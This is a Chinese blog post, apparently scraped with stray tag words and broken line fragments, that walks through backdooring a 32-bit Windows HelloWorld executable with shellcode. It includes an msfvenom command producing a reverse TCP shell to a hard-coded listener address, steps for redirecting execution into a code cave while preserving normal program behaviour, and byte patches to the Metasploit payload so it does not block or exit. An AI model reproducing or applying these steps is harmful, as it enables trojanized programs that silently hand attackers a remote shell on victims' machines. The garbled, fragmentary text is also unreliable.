在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序之前的逻辑照常可以正常运行,下面复现一下并解决几个小问题。shell
这里直接编译一个32位的HelloWorld程序为例:windows
#include <stdio.h> int main() { puts("Hello World!"); return 0; }
编译后的exe,能够使用CFF Explorer
查看相关信息。tcp
少绕弯子,补充一下通用步骤:工具
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
0x004A0000
call 0x00471B50
,覆盖成jmp 0x004A0000
0x00491EF8
,后面恢复程序正常逻辑的时候要用pushad
和pushfd
指令覆盖开头2个字节pushfd
以后的ESP
值,例如0x010FFDBC
,以及shellcode执行结束时ESP
值,例如0x010FFBB8
,发现少了0x204
add esp, 0x204
popfd
和popad
指令,和push
顺序相反popad
以后jmp 0x00491EF8
指令,跳到第7步记录位置注意三点:布局
经过调试将发生阻塞的操做进行nop,例如WaitForSingleObject
,msf
的payload须要将4e 56 46 ff
替换成80 56 80 ff
线程
原来给WaitForSingleObject
传的参数是-1
,会阻塞线程,想办法改为0就行,这里将dec esi
操做nop
掉了,push esi
就是03d
应该是检查服务端失联的状况下直接终止程序了,经过调试找到终止位置nop掉便可调试
除了参考文章中提到的经过文件偏移计算,还能够直接利用x32dbg的内存布局直接查看code
省略。。。blog